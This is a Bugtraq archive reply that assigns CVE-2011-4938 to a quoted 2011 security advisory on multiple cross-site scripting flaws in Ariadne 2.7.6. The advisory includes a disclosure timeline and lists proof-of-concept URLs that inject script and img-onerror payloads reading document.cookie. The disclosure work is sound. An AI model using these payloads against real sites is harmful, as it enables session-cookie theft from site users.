Bugtraq mailing list archives
Re: Ariadne 2.7.6 Multiple XSS vulnerabilities
From: Henri Salo <henri () nerv fi>
Date: Sat, 10 Mar 2012 12:59:35 +0200
On Thu, Dec 01, 2011 at 07:42:17AM +0000, sschurtz () t-online de wrote:
Advisory: Ariadne 2.7.6 Multiple XSS vulnerabilities Advisory ID: SSCHADV2011-038 Author: Stefan Schurtz Affected Software: Successfully tested on Ariadne 2.7.6 Vendor URL: http://www.ariadne-cms.org/ Vendor Status: informed ========================== Vulnerability Description ========================== Ariadne 2.7.6 is prone to multiple Cross-Site scripting vulnerabilities ================== PoC-Exploit ================== # IE8 http://localhost/ariadne/www/loader.php/system/ariadne.html?'";</script><script>alert(document.cookie)</script> http://localhost/ariadne/www/?'";</script><script>alert(document.cookie)</script> http://localhost/ariadne/www/loader.php/?'";</script><script>alert(document.cookie)</script> http://localhost/ariadne/www/loader.php/system/?'";</script><script>alert(document.cookie)</script> http://localhost/ariadne/www/loader.php/view.html?'";</script><script>alert(document.cookie)</script> http://localhost/ariadne/www/loader.php/system/view.html?'";</script><script>alert(document.cookie)</script> # IE8/FF3.6.24/FF8.0.1 http://localhost/ariadne/www/loader.php/system/";><iMg src=N onerror=alert(document.cookie)> http://localhost/ariadne/www/loader.php/";><iMg src=N onerror=alert(document.cookie)> ========= Solution ========= - ==================== Disclosure Timeline ==================== 27-Nov-2011 - informed developers (bugs.ariadne-cms.org) 01-Dez-2011 - release date of this security advisory ======== Credits ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References =========== http://bugs.ariadne-cms.org/view.php?id=277 http://www.rul3z.de/advisories/SSCHADV2011-038.txt
This issue can be refered as CVE-2011-4938. - Henri Salo
Current thread:
- Re: Ariadne 2.7.6 Multiple XSS vulnerabilities Henri Salo (Mar 12)